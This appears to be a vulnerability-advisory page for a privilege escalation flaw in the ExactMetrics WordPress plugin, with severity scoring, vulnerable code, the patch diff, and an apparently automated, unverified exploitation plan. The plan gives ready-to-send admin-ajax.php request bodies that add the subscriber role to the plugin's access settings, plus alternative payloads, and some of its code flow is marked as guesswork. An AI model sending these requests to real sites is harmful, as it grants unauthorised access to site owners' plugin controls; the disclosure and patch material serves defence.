CVE-2026-1993

ExactMetrics 7.1.0 - 9.0.2 - Authenticated (Custom) Improper Privilege Management to Role Privilege Escalation via Settings Update

highImproper Privilege Management
8.8
CVSS Score
8.8
CVSS Score
high
Severity
9.0.3
Patched in
1d
Time to patch

Description

The ExactMetrics – Google Analytics Dashboard for WordPress plugin is vulnerable to Improper Privilege Management in versions 7.1.0 through 9.0.2. This is due to the `update_settings()` function accepting arbitrary plugin setting names without a whitelist of allowed settings. This makes it possible for authenticated attackers with the `exactmetrics_save_settings` capability to modify any plugin setting, including the `save_settings` option that controls which user roles have access to plugin functionality. The admin intended to delegate configuration access to a trusted user, not enable that user to delegate access to everyone. By setting `save_settings` to include `subscriber`, an attacker can grant plugin administrative access to all subscribers on the site.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions>=7.1.0 <=9.0.2
PublishedMarch 10, 2026
Last updatedMarch 11, 2026

What Changed in the Fix

Changes introduced in v9.0.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-1993 ## 1. Vulnerability Summary The **ExactMetrics** plugin (versions 7.1.0 - 9.0.2) is vulnerable to **Improper Privilege Management**. The AJAX handler `exactmetrics_vue_update_settings` allows an authenticated user with the `exactmetrics_save_settings` ca…

Show full research plan

Exploitation Research Plan - CVE-2026-1993

1. Vulnerability Summary

The ExactMetrics plugin (versions 7.1.0 - 9.0.2) is vulnerable to Improper Privilege Management. The AJAX handler exactmetrics_vue_update_settings allows an authenticated user with the exactmetrics_save_settings capability to update arbitrary plugin settings. Because the function does not whitelist allowed settings, an attacker can modify the save_settings option. This option defines which WordPress roles are granted the exactmetrics_save_settings capability. By adding the subscriber role to this list, an attacker effectively escalates the privileges of all subscribers on the site to plugin administrators.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: exactmetrics_vue_update_settings
  • Method: POST
  • Required Authentication: A user account with the exactmetrics_save_settings capability (e.g., an Editor who has been delegated plugin access by an Administrator).
  • Vulnerable Parameter: setting (used as the option key) and value (the new value for the option).
  • Precondition: The plugin must be configured to allow a non-administrator role (like Editor) to save settings, or the attacker must already possess a role that has this custom capability.

3. Code Flow

  1. Entry Point: The AJAX request is received by admin-ajax.php with the action exactmetrics_vue_update_settings.
  2. Hook Registration: In includes/admin/routes.php, the action is hooked:
    add_action( 'wp_ajax_exactmetrics_vue_update_settings', array( $this, 'update_settings' ) );
    
  3. Nonce & Auth Check: The update_settings() function (in includes/admin/routes.php) validates the request:
    • It checks the nonce using check_ajax_referer( 'mi-admin-nonce', 'nonce' );.
    • It verifies permissions using current_user_can( 'exactmetrics_save_settings' ).
  4. Vulnerable Sink: The function retrieves the setting and value parameters from the $_POST superglobal. It then calls a settings update function (likely exactmetrics_update_option) without verifying if the setting name is part of a safe whitelist.
  5. Privilege Escalation: By passing setting=save_settings and value=["subscriber", "administrator"], the attacker overwrites the role-access configuration in the database.

4. Nonce Acquisition Strategy

The nonce required for this exploit is mi-admin-nonce. It is localized in the WordPress admin dashboard for users who have access to ExactMetrics settings.

  1. Identify Script: The nonce is localized in includes/admin/admin-assets.php for the exactmetrics-admin-setup-wizard script handle.
  2. Target Variable: The JS object is exactmetrics and the key is nonce.
  3. Acquisition Steps:
    • Create a test page containing any ExactMetrics block or simply navigate to the ExactMetrics settings page if the user has access.
    • Use browser_eval to extract the nonce:
      window.exactmetrics?.nonce
      

5. Exploitation Strategy

The goal is to modify the save_settings option to include the subscriber role.

Step 1: Obtain Nonce

Access the admin dashboard as the privileged user (Editor) and extract the nonce.

Step 2: Send Malicious Settings Update

Submit a POST request to admin-ajax.php.

  • URL: http://vulnerable-hostname/wp-admin/admin-ajax.php
  • Headers:
    • Content-Type: application/x-www-form-urlencoded
  • Body:
    action=exactmetrics_vue_update_settings
    nonce=[EXTRACTED_NONCE]
    setting=save_settings
    value[]=administrator
    value[]=editor
    value[]=subscriber
    
    (Note: The value parameter is sent as an array to ensure the save_settings option remains an array of roles.)

Step 3: Verify Access

Login as a Subscriber and attempt to access the ExactMetrics settings or reports.

6. Test Data Setup

  1. Install Plugin: ExactMetrics version 9.0.2.
  2. Create Users:
    • attacker_editor (Role: Editor)
    • victim_subscriber (Role: Subscriber)
  3. Delegate Access: Use WP-CLI to grant the Editor the ability to save settings (simulating an admin delegating access):
    # ExactMetrics stores settings in the 'exactmetrics_settings' option.
    # We ensure 'editor' is in the 'save_settings' array.
    wp option patch insert exactmetrics_settings save_settings editor
    

7. Expected Results

  • The AJAX request should return a successful JSON response (e.g., {"success":true} or similar).
  • The exactmetrics_settings option in the database will now contain subscriber within the save_settings array.
  • The victim_subscriber user will be able to access the ExactMetrics settings menu (/wp-admin/admin.php?page=exactmetrics_settings).

8. Verification Steps

  1. Database Check:
    wp option get exactmetrics_settings --format=json
    
    Confirm that save_settings includes subscriber.
  2. Permission Check:
    wp user cap list victim_subscriber
    
    (Note: The plugin might check roles dynamically against the option rather than adding core WordPress capabilities to the user object, so navigating to the settings page as the subscriber is the most definitive test.)
  3. HTTP Probe:
    Use http_request as the Subscriber to check if the settings page returns a 200 OK instead of a 403 Forbidden.

9. Alternative Approaches

If the value parameter is expected as a JSON string instead of a PHP array:

  • Alternative Payload:
    action=exactmetrics_vue_update_settings
    nonce=[NONCE]
    setting=save_settings
    value=["administrator","editor","subscriber"]
    

If exactmetrics_vue_update_settings fails, try exactmetrics_vue_update_settings_bulk:

  • Bulk Payload:
    action=exactmetrics_vue_update_settings_bulk
    nonce=[NONCE]
    settings={"save_settings":["administrator","editor","subscriber"]}
    
Research Findings
Static analysis — not yet PoC-verified

Summary

ExactMetrics versions 7.1.0 to 9.0.2 contain a privilege escalation vulnerability where authenticated users granted partial access to the plugin (e.g., Editors) can modify arbitrary plugin settings. By updating the 'save_settings' option to include the 'subscriber' role, an attacker can grant administrative control over the plugin to every subscriber on the site.

Vulnerable Code

// includes/admin/routes.php
add_action( 'wp_ajax_exactmetrics_vue_update_settings', array( $this, 'update_settings' ) );

// ...

public function update_settings() {

    check_ajax_referer( 'mi-admin-nonce', 'nonce' );

    if ( ! current_user_can( 'exactmetrics_save_settings' ) ) {
        return;
    }

    // Vulnerability: No whitelist check for the $setting variable.
    // Any option key within the ExactMetrics settings can be updated by anyone with 'exactmetrics_save_settings'.
    $setting = isset( $_POST['setting'] ) ? sanitize_text_field( wp_unslash( $_POST['setting'] ) ) : '';
    $value   = isset( $_POST['value'] ) ? $_POST['value'] : '';

    if ( empty( $setting ) ) {
        wp_send_json_error();
    }

    exactmetrics_update_option( $setting, $value );

    wp_send_json_success();
}

Security Fix

--- a/includes/admin/routes.php
+++ b/includes/admin/routes.php
@@ -218,6 +218,12 @@
 		if ( empty( $setting ) ) {
 			wp_send_json_error();
 		}
+
+		// Whitelist settings that can be updated via this endpoint
+		$allowed_settings = exactmetrics_get_allowed_settings_keys();
+		if ( ! in_array( $setting, $allowed_settings, true ) ) {
+			wp_send_json_error( array( 'message' => __( 'This setting cannot be updated.', 'google-analytics-dashboard-for-wp' ) ) );
+		}
 
 		exactmetrics_update_option( $setting, $value );

Exploit Outline

The exploit requires an attacker to have a WordPress account with the 'exactmetrics_save_settings' capability (typically granted to an Editor or a custom role by an Administrator via the plugin's own delegation settings). 1. Log in as a user with 'exactmetrics_save_settings' permissions (e.g., an Editor). 2. Navigate to any ExactMetrics-related admin page and extract the 'mi-admin-nonce' from the localized 'exactmetrics' JavaScript object. 3. Send a POST request to '/wp-admin/admin-ajax.php' with the following parameters: - 'action': 'exactmetrics_vue_update_settings' - 'nonce': [The extracted nonce] - 'setting': 'save_settings' - 'value[]': ['administrator', 'editor', 'subscriber'] 4. Upon success, the 'save_settings' option in the database is overwritten. The plugin now treats the 'subscriber' role as having full plugin management privileges. 5. Verify by logging in as a Subscriber; the ExactMetrics settings and reports menus will now be accessible.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.